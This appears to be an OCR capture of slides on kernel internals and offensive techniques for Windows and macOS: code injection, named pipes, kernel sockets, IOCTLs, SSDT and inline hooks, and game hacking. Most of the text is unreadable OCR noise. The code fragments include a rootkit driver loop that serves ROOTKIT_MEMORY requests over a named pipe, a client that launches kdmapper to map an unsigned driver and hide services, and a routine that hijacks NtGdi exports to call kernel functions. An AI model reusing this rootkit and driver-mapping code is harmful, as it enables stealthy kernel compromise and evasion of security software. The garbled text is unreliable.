https://developer.apple.com/library/archive/documentation/Security/Conceptual/System_Integrity_Protection_Guide/FileSystemProtections/FileSystemProtections.html#//apple_ref/doc/uid/TP40016462-CH2-SW1
https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection?language=objc
https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection?language=objc
https://www.youtube.com/watch?v=c8Iqbydj4IU
https://www.hackingarticles.in/wireshark-for-pentesters-a-beginners-guide/
https://developer.apple.com/documentation/security/code_signing_services
https://sec.okta.com/articles/2018/06/issues-around-third-party-apple-code-signing-checks
https://developer.apple.com/documentation/security/hardened_runtime?language=objc
https://developer.apple.com/documentation/bundleresources/entitlements
http://www.newosxbook.com/tools/jtool.html
https://objective-see.org/tools.html
https://frida.re/
http://dtrace.org/blogs/brendan/2011/02/11/dtrace-pid-provider-arguments/

= =4 4 A -2
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https://www.virusbulletin.com/virusbulletin/2015/03/dylikhijackingos-x

https://objective-see.org/products/dhs.html

https://jon-gabilondeangulo7635.medium.com/howo-inject-codeinto-macho-appspart-i-

17ed375f736

http://newosxbook.com/src.jl?tree=listings&file=inject.c

https://gist.github.comknightsc/45edfc4903a9d2fa9f5905f60b02ce5a

https://theevilbit.github.io/tags/xpc/

https://www.offsec.com/offsec/microsti-teamsmacoslocatprivesc/

https://www.youtube.com/watch?v=ezxD5M90Mmc
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https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x
https://objective-see.org/products/dhs.html
https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-i-17ed375f736
https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-i-17ed375f736
http://newosxbook.com/src.jl?tree=listings&file=inject.c
https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a
https://theevilbit.github.io/tags/xpc/
https://www.offsec.com/offsec/microsoft-teams-macos-local-privesc/
https://www.youtube.com/watch?v=ezxD5M90Mmc
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AN

D O T ¢ .|,,‘x“v”~sx£\>>< 1ss"xy: sx X || 5“1 5 s 44 4 v::x « CTxx"Is4 ,_)x R x

a

DO L s e XAt W X s, X s il, o ixx o L]k X

<~ ~ > v v

T S « L~ - X, WL ss XOTRO X o ] LE e JTX 4 X B O X hq |

Y x4 L 45 Aesxel S x "kdrmelmode

Fd oS Ts e X, W8 X x4 ] XTI X T an

~ > v v

S CRxs LT skt XA
P XS, 2o X s XXy Xy 4% ] g 412 x, ox ddls WX oo

s sy s,y :x-|v:-{x”-{,yx~L>«v”:-[J>i-|~><x:Ax~>:vxl’_’zsf:,s& ] L

~ A > Ao ~ ~

oo X IS T s IS s, L oas X T A KIS X s

~

X S ox4"s s I x.l 3 oLxs? 1Y L8 X AYSal 4 XN T @

Cap b © DD i s sl xd X% 4 X ol X Pusermode

A >~ ~ A Tvoa

X "X, 1 s

~ ~

Tx o X8 x> ] 4 0 Vel X DX T X WX XD kXS G

~ >

XX T xS oL T e D ox sy,

v v v

x Xt T 1 tsermode

1 X shgxC , g X o 1Xx8 x2S X" xs © s X | @dmelmode

> ~

P B 4 BTN A S E TN x| s A s

P4l 4 dsermoder 4, X BT AT X W DRI XD XTSE o5 v sl X

o 227 1 0 " o «oxXX1% 03 2oxsl ) x s " kerhelmoder 1, | x ¥

@©ame Hacking vs”” yisy X Game Hackingr 1 « |  +* 4 _X e 4S v X s's
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Inter-componentCommunication>

[
X474 s x

D x "7 4 fsermodat -

~

X

x|

inter-componenb . , -~

I

v

PN

Gss) « s ¢ X

. X"
1~ ova X o] Ll~x>x

A~

XS G4 4 XM { SKls]
Third Party AVS/EDRs. | 1 114141 ®% 1 |

= x .,

sy 41y &7 ¥

© {4 Hsx s x .,

X

« I XK&spersky L AWs -

Llxr. o3

1%,
DRy x|l .
NI BT

XL KX { X% X
s 44 s* sY -
CCSKe 114 b X BX X 0 14

-sx{ s Kaspersky = | ,* < Windows Antimalwarg r 4 "7 sx " ¥

X ~

~

S
L B

x & X $nter-component communication
102 ss o ox I
s Ui s 4

k&rnelmodat

X s § .7

X e S ., $ C s

\x~-||_=‘xxJZ ~¥® s € X oL,

dommunication

-« X d .

:~X, 1‘S'|Wi L.
su o~ 411 Named Pipes ,Sockets2d
X ¥ 4 x , Lo
T4+

ng "L X

A4 s

X
w

X s

~

A 5 xL A

X 1S X 4] J4s4 st 1 d .
)Zst,, Lok {4 Y s, " yx§-|v~J X s
5 Fe ]
™ &’l_ 43 ® ¥ ¥ ,,,_st)

XX XY X X X 4K . X

XL YIS XS D ox 4l s

“

v“x -|FI-|><A\I X 57 %4 :<x X s

SO I L O R L

Aesx$3 i 4 X L oS As s ASs v 2 XX

~

CXEL S ST el Y e ds ] s IS s XTI Dok oo 0T
o s x o dhkxd xqlix s s 48 e XTS5 ] 3 X8 o I x s Oday
® ¢
Connection Session
Al A
Client object RPC object
R !
RPC stub cod RPC stub cod typed
............... = E——— .
IPC library IPC library untyped
Kernel IPC mechanism

https://genode.org/documentation/genoddoundations/20.05/architecture/Intercomponent_communication.html Y

y n
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Inter-componentCommunication_ X _.4x ¥ x < x { 14 x> Ixifs{ 9 Ise& 1%

Kb 4 wpXiinJOx PXoxesxC ¥ 43 . {x X 1 {Digital Footprintg& . f «~ « @ « X

+o4 7Ly 34 < x 54CI Digital Footprints ¢ x_« Xt s &4«

hard diskg | Tr X« v L@ {xd 4 @¥se o A9 " XX {7 % s w8

a

S X LS 4 DTS LI B X~ xS S P T X N s e e, XX ] s

v

x Loxsc X R v P L J R x o ¥sX « {._Digital Footprintt _ X *I{x «

1. S T R I I I I SR R R JUE S
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~
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L L s « 4w se E oL B TX § w $I7X)s ¢ xs x| X XD CGss o { | x5
1 I % Instance
< KMDFdriver/piping.cpp o & i
NULL, NULL);
146 ShowDominanceADD(DomName) ;
147
148 while ('DestroyDriver) {
149 // Try to get a handle to the pipe (path not found = pipe not created yet):
1508 DestroyDriver = ShouldRenewDriverADD(DomName, TRUE);
151 if (DestroyDriver) {
152 continue;
153 }
154
155 Status = OpenPipe(&PipeHandle, &PipeAttr, &PipeStatusBlock, TRUE);
156 while (!NT_SUCCESS(Status) && !DestroyDriver) ({
157 DestroyDriver = ShouldRenewDriverADD(DomName, TRUE);
158 if (DestroyDriver) {
159 continue;
Registry Keys & Values | | XX, x  «

A ¢ A R X S xS XX FL] L L ISEXT T s L x4 8 XS, s x |ox
Régistrys tr 1« » 806 4 W oAs Xisls, I x 0% o Y xR .
Y oi X« %4, % 1 ipons o4 1. keyvalue s oo X X x Sisp, X

In the left panel, there are five root keys, HKEY_CLASSES ROOT, HKEY CURRENT USER,
HKEY_LOCAL_MACHINE, HKEY_USERS,and HKEY_CURRENT_CONFIG. These root keys

form the basic structure of Window Registry.

Registryg - | -~

A v

BLE AT N N

X L& 17 $ s " @, T T G AL s X X - T _dm
value/subkeyt « « x" 1 : x © xhandley 1 _ s 1 x> 1 ¥~ 1Registryt | | 1 _
Do 500 L TN L XS S LS R X g X
Y oXooa st XTI g b s d KX
Computer\HKEY_USERS\.DEFAULT\Control Panel\Desktop\WindowMetrics
v [l Computer Name Type Data
2 ::Ez-ztﬁﬁﬁfggg ab] (Defalilt) REG_SZ (value not set)
>
= = REG_DWORD 0x00000030 (144,
> 77 HKEY_LOCAL_MACHINE = o (1449)
< =3 HKEY USERS ab|Bor REG_SZ -20
% DE-FAULT ‘ | CagitionFont REG_BINARY ee ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 90 01 0...
B Console REG_SZ -330
v Control Panel REG_SZ -330
> B Accessibility \ REG_BINARY ee f £f £ 00 00 00 00 00 00 00 00 00 00 00 00 90 01 0...
5 i Appesrance \ REG_BINARY ee ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 90 01 0...
Colors / REG_SZ -290
Cursors REG_SZ -290
v Desktop(—/ REG_BINARY ee ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 90 01 0...
MuiCached . REG_SZ -60
WindowMetrics « | ScrollHeight REG_SZ -260
2
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Lor A4t ol x kg, 14 1 Lrdot keyit + X HKEY_USERS _ ¥ x | X
L _rootkeyrt 1 x ‘stibkeyr 1 ¥ « 4 ¢ _1%x 0§ 14«

X Pefault ‘@@ ~ s

. Xs

Ly ~+"v sS® L B ] Befault L _ subkey- *x s@ontrol Panei+ ¥! | HKEY_USERS
Desktopt @ x 7 X 1x1ss4 ¥ ; « | 4 {1 dWindowsMetrics+ _ *subkeyt . s {1 . 0. x {7

OOtT® L 4 X K X B 2 544 .0 .00 0 x5 xd L x _ 4oxX il s

~ ~ v ~ v oA~ ~ AT o~

® 7 x g Tsx Al Xsxo T, 0 {WindowsMetrics  _subkeyt | {x” x _key. S

leaf noder « s*4 94 _Z° xR0 1. , X REgistryg L+ 1L JF T - @
0 18w P A% U skl A ~SBX D 4 % LY X |, asxxsTs" s

~ v o~ o~

DX X WX s X »=”:Ll’ég18tryﬁ: 1.4, x T X JY¥YAYs, T8 ox X o

LR R N NS I O S (MO S IS SRS 1L S LS I N -

~ v v o~ ~

17 v e ¥ ls % X% | xregistry key- X < Kdssyxs C4 ¥ @ s o x X

"~ 11 kérnel modet _ ~ « L 1% 4 %I X .~ 1 usermodat . ~ « L T¥Se. _ X

TR, 4 Isos o isx A T 4T, T ¥ L AX e o LTS

TR xT T A, 01 IV, X 5 o EXLX . $p vralistryt b A Leex 34 . ]
X s 4l Xiwd s o AWIDAPL X L ox X X BT oxspLyx s X € x k]l

~ ~ A ~

~

dkérnel moder ZwQueryValueKeyusermodetr RegCreateKeyA

x99 Z~x|_\.|><-| %,-lva X U 3X "sx”~yisx Tl T x X ox A2x>d LI AR ‘:\_X~‘| 1 s

X8 B oo isse o A A X AsLLx IR DX T X e ] X se s o x ]

~

Fod w1 1% x ~Z“,,Z>;, X s X >Zst,, Lo R X S. Wxxlx-|-| L x~-|x‘v‘s.|">~sx x n

L) ~> A ~

G s Y’ xJ,_)xNZ
Usermode/Kernelmode Sockets | | x>, X

PN e A mseckets T, T XSt f e o0 I D g X0

~v v v o~

loopbacki * X 1 KX (4 S .0 T US| .S Doy 4 Xq L XD Xl Do s8R K X

~ a ~

ST I HT A 41 _ridTexs Doxpep 40X pxmebeketH T F % X DX 1+

~ A ~~>

Y X X4, X7 i X « 5, ILdd 7 x
S 4S Q4L gl 0% Lx x4 x L f s ] .o lss 4 p 4 x L x X .dn

> ~ o~

1. % %4 %, x s xELCa®.s |« 5454, ¥kémnelmodet , ~ | . s

~

T x ¥ uFermodet 1 x © $ X . 9 * xsockets _kernel developmeng o L ¥ X4 xx

v~

qusermodat | « X« xsx{ls dll. X5 1 P X x g xe x siF s,
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¢ sockert Lo+ X T ¢ sl
X4 s " sockert L -

S W U Xp"dsI x X 4 ., s

>l

x 3 xx_"xuysermodet - " I ¢ X socket: .~ €

i

. Lo, X S xdrivemrt Lo ¥ X4 x ]

~ v v oA

x

~

DN T XL s X I X T X Lssq o X imocketr 4 L TioXa" ) X ¥ ¢ xSy X

s ] : . ’1-|XSS.‘,, X ~Z“,,ZXZ‘-|><(.‘ JS”'L'lSASCDSQ X {1 K v|_-|Ms . “v=>§ l s ssvl_

s { sadreshark< 0 _ ~ . X _ w XS XL XS i 17 L hxLmm L A X s § . x

e X LW Xiw e 1 oSv] S X S TS o B K :I T« L '|:v\ XA X o wisx T

R TR S I B | N B VR (PR T ST B ISP O BESE 5 C RNTHE SN L B S
d1: ossd 1T x4

~ o~ _ 5 x <« lyxx|hter-component Communicatian socketst _ x _ 4x Sps_ ¥ Xilis

~ ~

X

server threads + X - «S «slv . »® « sx 4% .  fdgrol5.L _~ ¥ « B+ XS

<

Y _ Y drivert 1 'L isystem thread * =t = x _ _

void NTAPI server_thread (void *)
{

auto status = Kslinitialize 0;
(! NT_SUCCE%status))

{
log ("Failed to initialize KSOCKET. Status code: %X' |, status);

)

auto listen_socket = create_listen_socket 0;
(listen_socket == INVALID_SOCKET)

log ("Failed to initialize listening socket."

KsDestroy ();

)

}
log ("Listening on port %d" , server_port);
(true )

sockaddr socket_addr{ };
socklen_t socket_length{ };

auto client_connection = accept (listen_socket, &socket_addr, &socket_length);
(client_connection == INVALID_SOCKET)

log ("Failed to accept client connection."

}

HANDLEhread_handle =  nullptr ;

status = PsCreateSystemThread (
&thread_handle,
GENERIC_ALL,

2
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nullptr

nullptr

nullptr
connection_thread,

(void *)client_connection

(! NT_SUCCEgSatus))

log ("Failed to create thread for handling client connection."

closesocket (client_connection);

ZwClose(thread_handle);

closesocket (listen_socket);

ttps://github.com/adrianyy/rw_socket driver/ Y

Y mockeff X 1 . X 2 X PYIAxs T, 47
driverrt L X _ *x:4._socket ~ {1 dnd
q XS o ><v ‘|'A'| o X X dL 1S 3K . X, X 1’S¢ckeﬁ X X :ListenA X @

>

1+« . %+ & mmdlti-threaded: ~ | X _ WY x <5 004 X XI4x] 0% .« L

@& « L% x*4L1x ¥, theadrt - -« ~ « Eodinection_thread-3* *L 4] 1

» oL~ XSOCKeR® L S~ 4IYX L 4 X BN KX L X U {I X @

>

X S US| |ls. 8% 7 ]

> v

L X XL S X gockett - - 4. x{driver® 4 1A -

M X <L

Create_listen_sockety)
SOCKETcreate_listen_socket 0

SOCKADDR_IN attess{ };

address.sin_family = AF_INET,;
address.sin_port = htons (server_port);
auto listen_socket = socket_listen  (AF_INET, SOCK_STREAM));
(listen_socket == INVALID_SOCKET)

log ("Failed to create listen socket." );
INVALID_SOCKET;

(bind (listen_socket, (SOCKADDR*)&address, (address)) == SOCKET_ERROR)

log ("Failed to bind socket." );
closesocket (listen_socket);
INVALID_SOCKET;
(listen (listen_socket, 10) == SOCKET_ERROR)

log ("Failed to set socket mode to listening."

closesocket (listen_socket);
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https://github.com/adrianyy/rw_socket_driver/blob/master/rw_socket_driver/kernelmode_server/kernel_socket_server/server.cpp

INVALID_SOCKET;

listen_socket;

ottps://github.com/adrianyy/rw_socket driver/ Y

Technologic

8

s 4 soo x  TORE tpvart . x _ distehing: ~ 1~ x %ocket: ~ 1 s d ¥ 1s: x s

«oox s I Aistepingt L x|

>

Connection_thread():

¥ 40l X v 4*x1_ . _xsoakett L _- x | Obingling
A

x, % ¥ H _ <sqckett *

void NTAPI connection_thread (void * connection_socket)

auto client_connection = SOCKHIULOK PTReonnection_socket));

log ("New connection." );

Packet packetf };

(true )
{
auto result=  recv (client_connection, ( VO
(packet), 0);
(result <= 0)]

(result < (PacketHeader))

(packet.header.magic != packet_magic)

id *)&packet,

auto packet_result = handle_incoming_packet (packet);
(! complete_request (client_connection, packet_result))

}

log ("Connection closed.” );
closesocket (client_connection);

ttps://github.com/adrianyy/rw_socket_driver/ Y

s « L x]xs. faate_listen_socket L X .~ 1S XSockett -

S 4 . W7 X S. ¥ | X p@sxi ox L, 4« 4 % 1 1 X S~

>a v o~ ~ ~ >

N ~

12, 1 “S 4 NS, X X X -15,: I T XXX X X XX{1 X i -|v>

s «

>

[ | e L)X 8 L X S

~ >

LIS » X X X 4 ox 7

>

xs x4 1 rdev

| xmagics | L S XX s |

A > ~

Fd. 1 Fx S’si « 4s 0 | X fgaddle_incoming_packet L x ¢ o«s. U XX

L X p A I v s« .. L Ystryctures ~ 1 | dodiplete_request L X x .sXx x s

> ~ ~
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Named Pipes , | XX, x < -

x4t s s b, s X s, b AN B wsf A X XS sxo X

~

FAd X b XL owx d " I Loam ¥ xS X lnamed pipe -~ T S 4 % X401 L
shared memory X ¢S« 48 X 41 1 1+ «~ ~* Kamed pipe_® -~ | ¥YXx ., kK€ 4§+
x © % ¥ handleY 4 _ std 1 s 1 Whhdows: x | .~ sockétgt x4 «Isx s 1

r mocketr s A4 L ossio X EEIX, L %d 4 4 e xS X D% X X dnamed pipe

ndmed pipe © Xk XX Y ds 1 T

i1 " I's. s usermodat ConnectNamedPipe L * + S = A x X 4x]* * s s

Tt named pipar s _ ¥¥4 _ s ¢t « T X ]« 1 dlivenrt s 4 S{{ Is.x 7 s, Qg *
O s xs Dx %X, 1] ¢ handlgt - . 4440 5 <0 x| kefnelmode
¢ « ByNamedPipe+ _ § _named pipet : «x " .userinodet + - “Y{ 1 x pZwCreateFile

dDosDevicedNamedPipg\ MyNamedPipe _ $ X 1 1 % Kefnelmodet

oLl ¥? S X DX A $UX LS Y45 XX x X p ] XY xSl X .

namedm s _ « X s+ {1 7 x4 § | XX Tusetmode component ¢ - . s X driver

Lo+ X v o X&Xsx o Dspd o Xise o % H .~ 1 _fvs named pipet - -~ <drvert Xpipe

F@ e | sduxx - xso o x <, wdermode componemt *named pipet | x s xS
11 4 Jwin x ¥ o xxwysermodat ReadFile/WriteFile ~» € s < 4 . sa*sfxil ks 7

udermodat ZAv/Ntor _

X oxoo, Gsxo X ok X K[andlgt -+~ X Y] ~iinarhed pipeg r - X L 4 e 84" ]
X8 X 0SS X TSI T xsx o 44ss < 1 8 X« 11 €ldseHandle/ZwClose

D@isconnectNamedPipe{)L * : =151 f Hir 11"~ x X 4 1]

FoBocketX kld L T4 T X Y R oo xosp 0 WX x D fsxs]s x Ty Lo xis” ] X

Ll sex s ists, X i3 4 4 e D s xo q] xy”

v o~

~

X 5y L x

~ ~

ndmed pipet 1 « 1 1L ® & ~» + 4% X" « 14X xS

- x ., 7 1l mamed pipe shared memary L S + 1 i SX 4 IS DY DH T o x 7
P x 12X 4w @ X0d " =0 fuSp « ~Xxis, s] >y s soix {sx 4 {7s
't ,,=:4>q K] AXT X X X X Ixxq” x~,,-|s()|;y X L. ~ S w4 yxh s

P19 1d4yY.
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LTechnoloagic

T b A _x b koxpogtkitt A LA, AR Sd X A4 DS X84 4y Ly X s

~

v xssts o 0% kdrmelmodet ~ L 1 1 dsermodet « L T 1% X _ « X shamed pipe

YA«dTsy* " T 5xdYfsisx <% MBinMedium- x 1sx « KMDfdriver

YWainMedium

J/f Create valid pipe for communications initial:
IsValidPipe = OpenPipe(&PipeHandle, MainPipsMame, &MediumLog);
while {!IsValidPipe) {

I=ValidPipe = OpenPipe(&PipeHandle, MainPipelame, &Mediumlog);
¥

/f Activate kdmapper with driver as parameter:

if {system("C:\\9193bbfdlad74bd4a49+748ded3cfae7a@3bbedbe7eleTbffa2bsde8ba0dran7 \"
"42db9c51335218FBF5362136cc2ef>thaddffT4lchdeT4fab@a89d211dd15db5 \kdmapper . exe"
"Ci3M9193bbfdla974bddad8f748ded3cfae7ad3bbedbe7edeybffa2bbd68b009d7@97 "

"42db9c51385218FEF5362136cc2efSfhaddffF4lcbdef4fabladad211dd1sdbsy \KMDFdriver"
"V Release\\KMDFdriver.sys") == -1} {

ReguesztHelpers::LogMeszage( “Failed to activate service manager with driver az parametsrin®,
&MediumLog, TRUE, GetlLastError{));

MediumLog.Closelog();
return @;
h
RequestHelpers::LogMessage( "kdmapper mapped driver successfully!in", &Mediumlog, FALSE, @);

J/f Connect to driver client with pipe initial:
LastError = MajorOperation::ConnectTolNamedPipe(&PipeHandle, &MediumLog, &IsValidPipe);
if {LastError == ERROR_PIPE_COMNECTED) {

IsValidPipe = TRUE;

LastError = @;

e

glse if {LastError != @) {
MediumLog.Closelogi);
DisconnectMamedPipe (PipeHandle);
if (PipeHandle != INVALID_HANDLE_VALUE) {
CloseHandle(PipeHandle);
PipeHandle = INVALID HANDLE_VALUE;
H

return @;

/f Hide default client services with driver:

if {!MajorOperation::HideClientServices(&PipeHandle, &Mediumlog,
GeneralHelpers::CalculateAddressValue(ClientIP))) {

MediumlLog.Closelog();
DizconnectiamedPipe(PipeHandle);
if (PipeHandle != IMVALID HANDLE_VA&LUE) {
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Status = OpenPipe(&PipeHandle, &PipeAttr, &PipeStatusBlock, TRUE);
while (!NT_SUCCESS(Status) && !DestroyDriver) {
DestroyDriver = ShouldRenewDriverADD(DomName, TRUE);
if (DestroyDriver) {
continue;
}.
KeDelayExecutionThread(KernelMode, FALSE, &DelayTime);

Status = OpenPipe(&PipeHandle, &PipeAttr, &PipeStatusBlock, TRUE); // Until pipe is created

// Get requests again and again until pipe object is not valid anymore:
while (NT_SUCCESS(Status) && !DestroyDriver) {

DestroyDriver = ShouldRenewDriverADD(DomName, TRUE);

if (DestroyDriver) {

continue;

CurrentRequest = ExAllocatePoolWithTag(NonPagedPool, sizeof(ROOTKIT_MEMORY), ‘PpRb');
if (CurrentRequest == NULL) {
tatus = STATUS_SUCCESS;

continue;

[

// Get ROOTKIT_MEMORY structure of request:
Status = ReadPipe(&PipeHandle, &PipeStatusBlock, CurrentRequest, sizeof(ROOTKIT_MEMORY));
if (!NT_SUCCESS(Status)) {
if (CurrentRequest != NULL) {
ExFreePool(CurrentReguest);
CurrentRequest = NULL;
}

continue;

[

// Perform request and return results:
Status = roothook::HookHandler(CurrentRequest);
Status = WritePipe(&PipeHandle, &PipeStatusBlock, CurrentRequest, sizeof(ROOTKIT_MEMORY));
if (CurrentRequest != NULL) {
ExFreePool(CurrentRequest);

CurrentRequest = NULL;

Device Objects / IOCTLs, |, *:*. X _ «

drivers & -~ X XX 47 XD, 1S, F AT« o px L, XX 5 XS xas 7

A ~

X SX o f ]

x xs] Sdrivert | I@CTL -~ ¢ déviee objectl ~ ¥ 1 Windows: | ~» _ *

~21r » ¥ ¥ d % ¢ devicat I&reateDevice L X .~ ¥ DeViceObject _ «~» *LJd H 1 -
ddvent . - 1 Y:sxi. _k@mel modet + Yusermodet r ¥
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driverm » X + ¥~ 1drivemt . 1 Yusermodar « ~» % X Xx ., s 4 s 5 . 4 %s ¢, -«

L1 o xs A 4 . Is*C 5 sddverx @ % «s s ¢ s s, x o X {symbolic link

~ ~

\W\\\DeviceNama _1 _ -~ xdrivertf symbolic link * ~ ! ¥\§DbsDevicedDeviceName

dsermodagt s . .Ss” Jix.x X x4 X%

~ ~

v wxss 0 s ls, L WbX b soXd 1P D Y Gls, X s Ly X

~ I

P IS, ST LpE iy s G ST BN X SaxIs,L Sk L X qusxdSE . o |

~

TP X S iIX wl X oo,

~ X %X " Drvent ~ - *Symbolic LinkR + Y¥Drivermt -~ . xDeyiceObject ¥s ¢ s ., « *
Yo XM WINObjx s Ix Tl Xl s 4 s v O S 4R e e T 4 4

@ _ Symbolic Lirk

~ X 1 Brivert _1 !'{lDrivent ~ - xSeryvicet « xx | 4x 1L s 1 1o x4"¢_ L% |
L4 A4 oxlsat | x AT _ICX Sl . 4 Drvert 1, 4 9 s 4 Dévice Object

1t DeviceloControl x . Xtracing . ~ .. %15 % ®]” 5 + ¢ X "Drivent - ~: x s ¢

a

Keérnel Modet IoBuildDeviceloControlRequest/NtDeviceloControbFildsermode

Hooks _ *1 « 1 xigciifazzer ~ « » _ ~ 2 st @ 1402 <4 X4 da0® ¥yixxlo S 0 47

Fd -1 el s> T 0 "IQCTL 18 o AuY* « 4 | *NtDeviceloControlFile + x | ¢
[S¢: I T

s s @ s xqll " 4 sy, x 7414 Y Driverst Vulnerability Scannimg ! | s T 8 L | s
YWalicious IOCTLs

-l ioctlfuzzer

| {
_—

Automating the task of searching vulnerabilities in Windows kernel drivers

General information

I0CTL Fuzzer is a tool designed to automate the task of
searching vulnerabilities in Windows kernel drivers by performing
fuzz tests on them

The fuzzer's own driver hooks NtDeviceloControlFile in order to
take control of all IOCTL requests throughout the system

While processing IOCTLs, the fuzzer will spoof those IOCTLs
conforming to conditions specified in the configuration file. A
spoofed IOCTL is identical to the original in all respects except the
input data, which is changed to randomly generated fuzz

|OCTL Fuzzer works on x86 and x64 Windows XP, 2003 Server,
Vista, 2008 Server and 7

Actual readme file
http://code.google.com/plioctifuzzer/source/browse/trunk/README. TXT
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cn - %]

S04 B RS g iss. D 4ixad LT o et gl oiox ]

~

D S LS @ SIS e STl T WX s SX X % ]y X

DX X{ﬂSLAX"_Zs{T'yE,A_L”-|,,Z“xs-|><,_v-|><-|ZxAsv””‘yV:sss" XX, X, 0x " { X

~ o~ ~ >~ ~

Tx o KLoX o, XKD X]] L X XX XX Ko & g Aisx L X X o e x

A o~ vV v

DX s WX | KES T x ]

¢

SSDT Hooks | | x:*._x

L 1P g xx] D x {44sSSDT inline hooking - 41 , 1 * _SSDE S " *+ 1« x s
b4 X xdgsyscalls 1, T RR 3T R MO X LS9 X A B ] X
Tl L AR Y s CAIF TN X v 4L s XSERW - _d4essL x4 . s
b4~ CWIAPIT x .~ SSDF X L x ] sdrivemt : -~ S X S. %] . ] x3¥s L x| X

@rivent 1 x = % Is« x4 syscall « ¥V % ] $¥scalk - x « |

M XS 00”5, 1% Xx 1 &7 [{"|4inlhe hooks ¢ _ | xd {

~ v ~

Lo XX qIxst ok X 4 o x X b { s ¢ XX inline hook sygiem service

s 7 01 BSDT Hoakr 4 _ % 09 0 X p A ¢ ¥H~ XX L {7 >¥s gx = s

sg)xAL>s “AJst

e b x s b Gl s 0ox g X PO {sxy ] {xs 5 | x Ts

LR IR (2100 - SN, I A TP N A O R

<1 s 4% sl xsystemservicg - L 10 7 14X 4% %« SSDT Inline Hook

D X" "B x ) x s
X ~ L

~

BSDT Inline Hogk~ 4 o/ Ix & a .0 . 4

. & Simagat 4 X X . T X . SSSDE S T Xl L Y

~

L £+ néoskrnl.ex@.

Tl xiivs SSDR - o~ o x "x d x DAL . X« Y@adonlys 1 SSDR L~ X € 4« s

~ % rgadonly™ X LXIxCIx]Tie x oo x I Hs X D 4 1X 7 systemservicat L _
DLt | x 1 _ Y ddtiver

Daa X LR TS X s L X L s XX P T X ] X Tsxy s @

>~

S, XX XI ., Xxs L s L S . $ ol oxqdxlslL x 1o s Ixi"™ Gl x I s
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X 1] xil, 84 P

{1 . XSG XSv X pSaL~ "

P B x s BB ] xiixsy k] XS x T a4 Y .

Payload:
~ =)

Mas wEs wes dee dee eae aes wes aes

GetProcAddress(...)

wee beu bes see aeh ek aus eee aen
P PP PP P T

NtAddAtom: wee eew aes ves 4ee tes ser vee S
ijp unsdrlvu_'entrypolnb

& N

R S R R TR T L)

sizeof(Payload)

WA AR wes BEs o GeE sEs aEs beE aas
FER AR EEE AEE o GEE SRR SEE AR aes
B R L T LR )

AR s wes aws aer ses aes es s

\.-- wEs o wme wes wes aes wew ses wes

unsdriver_entrypoint:

Y {1>*a -~ ¢ SSDT Hooks~ ¢ Intér-component Communication « 1 ul x 7

,

FoLoX xS v Y S XX 4 v LI Byscalitx "8 .1 s x  am

~ ~ >

S {8 s s3] X | SS{ X X ¥ s8¢ f 5. XC ¥ ",8] «oS| JSp. X ST sCx s X

~~

Game Cheat$ s . x4 Iss _{ ¥ s S@ x J pxs X x Q0. p X. ¥§

L X & ox ¢ x o NtAddAtom()™ * YNiGam @ x  xx 4 s Fixx 1 s ox
e X o lp pisex o DX, s s 4 X G dhr A B A Y WX s s LS

LA’ L X Xs0 XM

v o~

FdeexeI ™7 80 o8 4y, X IF L, XS\ XS 1 LS X
S@ x o ST X, XSso X+ o, & quSermodet | - X 7 B » C X T 95 ¥ X x

> ~

wL 1S X v e XSS X 18, X 4 X" ] T X

te

1 hssboxex] s 1]
TX X {sX] ] s XA ~ X 1, € s F DX Ll Xdy 5 « ¢ X ".sT s
S o { e S x sHEIsx s xmagicd ~ « , XLeST X v L X x| YL s DS

oo XS ddLos s

v X .Sofs 4 x xss o payloadt + X « I~ [ X 11X X grampoline hook, « * @

X Dg or XX p ] 8SDT Hook * | -2 » XS % b XSO LS XX Sy Xy
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1% «xs, x U 71X Bhs 4 Hdokt _~ 1558 . X X4 X | {"PH{SKE -

10 T XL A0 o xss 1 x mp: | X1~ _opcodg® 1 » 33 .~ 4105 % € %
@ CF 4T IXBINS £ X X DX S 4 Is US|TX . X & X XT ] s s

s Ll oxiod T xSk L T ox LsPLSqs. 4% X & x T4 44", < $SDT Hook! x v 4 " *

systemre L - ] x:ie5 x " 4 X sf § 1 * SSDT Inline Homk! x v . 1 % x71x 4 Y { s
xd service
FISIL W4 XE X0, xsq x4 € % 5 | MobkE . X w 1%Ll L, x "X

S AT AT i X s sx T IO T TR L0k XSS X T S X Xy Wy

oD ovr A ey AR X GES KU x T g XL x4 6 s T s LS f e

« « y “driver~ x readonly write: x oxx”" Lk ¢ 7 . § X L lIXE s X (payload

Payloadk - «* x “L]ILXx3 X « X{7.Xx -~ X © s " .« fextsectiont code cave

@ kox TPy s T X s X

A

b3l RS 2 X 30 L s 1L kdmapper: " 1 XD x o T i T T X v s o x oLy

L .S~ 4, <17 xgdriderx - xk [ | . 7 X .uhdsigned drivefr 1 _ § 5 sx""] x I s

inline . x o & " X+ » 5 1 © _kdmappers * s 14 1 ® <7 pq4€"” x kérifel mode

s Ux 14 Jsx_x . xs s b oxse 1 NtAddAtoms L x s Ss. « hdok

L Ix s ox o xd driverrt Lt X L X P XX S L T e L8 XXX s

H™ 427X x4l Ixx ™ s o Xose X5 I sxf s drivermt LS L X o~ X w1

bool CallKernelFunction (HANDLEdevice_handle, T* out_result, uinté4_t  kernel_function_address,
A ...arguments)

{

auto call_void = st d::iis_same_v<T, void >;
(!call_void)

(‘out_result)
false ;

UNREFERENCED_PARAMBEMERSUIL);

('kernel_function_address)
false ;

auto NtGdiDdDDIReclaimAllocations2 =
<void *>( GetProcAddress ( LoadLibrary ("gdi32full.dll"
"NtGdiDdDDIReclaimAllocations2"  ));
auto NtGdiGetCOPPCompatibleOPMInformation =
<void *>( GetProcAddress ( LoadLibrary (“"win32u.dll* ),
"NtGdiGetCOPPCompatibleOPMInformation" ));

(INtGdiDdDDIReclaimAllocations2 && INtGdiGetCOPPCompatibleOPMiInformation)

{
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std::cout << "[ -1 Fail ed to get export gdi32full.NtGdiDdDDIReclaimAllocations2 /
win32u.NtGdiGetCOPPCompatibleOPMInformation" << std::endl;
false ;
}

uinté4_t  kernel_function_ptr = ;

